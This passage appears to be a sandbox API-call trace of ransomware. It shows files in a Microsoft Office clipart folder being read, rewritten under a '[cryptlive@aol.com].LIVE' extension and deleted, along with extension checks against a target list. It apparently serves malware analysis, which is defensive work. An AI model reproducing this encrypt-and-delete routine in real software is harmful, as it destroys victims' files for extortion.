CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0142.169] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=6780) returned 1 [0142.169] CloseHandle (hObject=0x1e4) returned 1 [0142.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf")) returned 0x20 [0142.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0142.222] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.222] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0142.226] GetLastError () returned 0x0 [0142.226] ReadFile (in: hFile=0x38c, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1a7c, lpOverlapped=0x0) returned 1 [0142.304] WriteFile (in: hFile=0x3a8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1a80, lpOverlapped=0x0) returned 1 [0142.305] ReadFile (in: hFile=0x38c, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.305] WriteFile (in: hFile=0x3a8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.306] SetEndOfFile (hFile=0x3a8) returned 1 [0142.613] CloseHandle (hObject=0x3a8) returned 1 [0142.613] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.613] SetEndOfFile (hFile=0x38c) returned 1 [0143.302] CloseHandle (hObject=0x38c) returned 1 [0143.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf")) returned 1 [0143.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0143.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0143.373] lstrlenW (lpString=".doc") returned 4 [0143.373] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.373] lstrlenW (lpString=".docx") returned 5 [0143.373] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.373] lstrlenW (lpString=".pdf") returned 4 [0143.373] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.373] lstrlenW (lpString=".xls") returned 4 [0143.373] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.373] lstrlenW (lpString=".xlsx") returned 5 [0143.373] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.373] lstrlenW (lpString=".ppt") returned 4 [0143.373] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0143.373] lstrlenW (lpString=".zip") returned 4 [0143.373] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.373] lstrlenW (lpString=".rar") returned 4 [0143.373] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.373] lstrlenW (lpString=".bz2") returned 4 [0143.373] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.374] lstrlenW (lpString=".7z") returned 3 [0143.374] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0143.374] lstrlenW (lpString=".dbf") returned 4 [0143.374] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0143.374] lstrlenW (lpString=".1cd") returned 4 [0143.374] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0143.374] lstrlenW (lpString=".jpg") returned 4 [0143.374] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0143.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0143.374] lstrlenW (lpString=".doc") returned 4 [0143.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.374] lstrlenW (lpString=".docx") returned 5 [0143.374] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.374] lstrlenW (lpString=".pdf") returned 4 [0143.374] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.374] lstrlenW (lpString=".xls") returned 4 [0143.374] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.374] lstrlenW (lpString=".xlsx") returned 5 [0143.374] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.374] lstrlenW (lpString=".ppt") returned 4 [0143.374] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0143.375] lstrlenW (lpString=".zip") returned 4 [0143.375] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.375] lstrlenW (lpString=".rar") returned 4 [0143.375] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.375] lstrlenW (lpString=".bz2") returned 4 [0143.375] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.375] lstrlenW (lpString=".7z") returned 3 [0143.375] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0143.375] lstrlenW (lpString=".dbf") returned 4 [0143.375] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0143.375] lstrlenW (lpString=".1cd") returned 4 [0143.375] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0143.375] lstrlenW (lpString=".jpg") returned 4 [0143.375] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.375] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.375] lstrlenW (lpString="FD00336_.WMF") returned 12 [0143.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0143.410] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=6068) returned 1 [0143.410] CloseHandle (hObject=0x1e4) returned 1 [0143.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x20 [0143.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0143.410] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.410] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0143.411] GetLastError () returned 0x0 [0143.411] ReadFile (in: hFile=0x1e4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x17b4, lpOverlapped=0x0) returned 1 [0143.433] WriteFile (in: hFile=0x1dc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x17c0, lpOverlapped=0x0) returned 1 [0143.434] ReadFile (in: hFile=0x1e4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.434] WriteFile (in: hFile=0x1dc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.434] SetEndOfFile (hFile=0x1dc) returned 1 [0143.434] CloseHandle (hObject=0x1dc) returned 1 [0143.434] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.434] SetEndOfFile (hFile=0x1e4) returned 1 [0143.436] CloseHandle (hObject=0x1e4) returned 1 [0143.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.437] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf")) returned 1 [0143.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0143.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0143.437] lstrlenW (lpString=".doc") returned 4 [0143.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.438] lstrlenW (lpString=".docx") returned 5 [0143.438] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.438] lstrlenW (lpString=".pdf") returned 4 [0143.438] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.438] lstrlenW (lpString=".xls") returned 4 [0143.438] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.438] lstrlenW (lpString=".xlsx") returned 5 [0143.438] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.438] lstrlenW (lpString=".ppt") returned 4 [0143.438] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0143.438] lstrlenW (lpString=".zip") returned 4 [0143.438] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.438] lstrlenW (lpString=".rar") returned 4 [0143.438] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.438] lstrlenW (lpString=".bz2") returned 4 [0143.438] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.438] lstrlenW (lpString=".7z") returned 3 [0143.438] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0143.438] lstrlenW (lpString=".dbf") returned 4 [0143.438] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0143.438] lstrlenW (lpString=".1cd") returned 4 [0143.438] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0143.438] lstrlenW (lpString=".jpg") returned 4 [0143.438] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0143.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0143.438] lstrlenW (lpString=".doc") returned 4 [0143.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.438] lstrlenW (lpString=".docx") returned 5 [0143.438] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.439] lstrlenW (lpString=".pdf") returned 4 [0143.439] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.439] lstrlenW (lpString=".xls") returned 4 [0143.439] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.439] lstrlenW (lpString=".xlsx") returned 5 [0143.439] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.439] lstrlenW (lpString=".ppt") returned 4 [0143.439] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0143.439] lstrlenW (lpString=".zip") returned 4 [0143.439] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.439] lstrlenW (lpString=".rar") returned 4 [0143.439] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.439] lstrlenW (lpString=".bz2") returned 4 [0143.439] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.439] lstrlenW (lpString=".7z") returned 3 [0143.439] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0143.439] lstrlenW (lpString=".dbf") returned 4 [0143.439] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0143.439] lstrlenW (lpString=".1cd") returned 4 [0143.439] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63 [0143.439] lstrlenW (lpString=".jpg") returned 4 [0143.439] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.439] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.439] lstrlenW (lpString="FD00414_.WMF") returned 12 [0143.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0143.456] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=11002) returned 1 [0143.456] CloseHandle (hObject=0x384) returned 1 [0143.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x20 [0143.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0143.499] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.499] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0143.499] GetLastError () returned 0x0 [0143.499] ReadFile (in: hFile=0x1dc, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x2afa, lpOverlapped=0x0) returned 1 [0143.512] WriteFile (in: hFile=0x3b0, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x2b00, lpOverlapped=0x0) returned 1 [0143.513] ReadFile (in: hFile=0x1dc, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.514] WriteFile (in: hFile=0x3b0, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.514] SetEndOfFile (hFile=0x3b0) returned 1 [0143.514] CloseHandle (hObject=0x3b0) returned 1 [0143.514] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.514] SetEndOfFile (hFile=0x1dc) returned 1 [0143.516] CloseHandle (hObject=0x1dc) returned 1 [0143.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.516] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf")) returned 1 [0143.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0143.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0143.529] lstrlenW (lpString=".doc") returned 4 [0143.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.529] lstrlenW (lpString=".docx") returned 5 [0143.529] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.529] lstrlenW (lpString=".pdf") returned 4 [0143.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.529] lstrlenW (lpString=".xls") returned 4 [0143.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.529] lstrlenW (lpString=".xlsx") returned 5 [0143.529] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.529] lstrlenW (lpString=".ppt") returned 4 [0143.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0143.529] lstrlenW (lpString=".zip") returned 4 [0143.529] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.529] lstrlenW (lpString=".rar") returned 4 [0143.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.529] lstrlenW (lpString=".bz2") returned 4 [0143.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.529] lstrlenW (lpString=".7z") returned 3 [0143.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0143.529] lstrlenW (lpString=".dbf") returned 4 [0143.529] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0143.529] lstrlenW (lpString=".1cd") returned 4 [0143.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0143.529] lstrlenW (lpString=".jpg") returned 4 [0143.529] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0143.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0143.530] lstrlenW (lpString=".doc") returned 4 [0143.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.530] lstrlenW (lpString=".docx") returned 5 [0143.530] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.530] lstrlenW (lpString=".pdf") returned 4 [0143.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.530] lstrlenW (lpString=".xls") returned 4 [0143.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.530] lstrlenW (lpString=".xlsx") returned 5 [0143.530] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.530] lstrlenW (lpString=".ppt") returned 4 [0143.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0143.530] lstrlenW (lpString=".zip") returned 4 [0143.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.530] lstrlenW (lpString=".rar") returned 4 [0143.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.530] lstrlenW (lpString=".bz2") returned 4 [0143.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.530] lstrlenW (lpString=".7z") returned 3 [0143.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0143.530] lstrlenW (lpString=".dbf") returned 4 [0143.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0143.530] lstrlenW (lpString=".1cd") returned 4 [0143.711] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0143.711] lstrlenW (lpString=".jpg") returned 4 [0143.711] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.711] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0143.711] lstrlenW (lpString="FD00564_.WMF") returned 12 [0143.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0143.735] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=896) returned 1 [0143.735] CloseHandle (hObject=0x2f8) returned 1 [0143.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 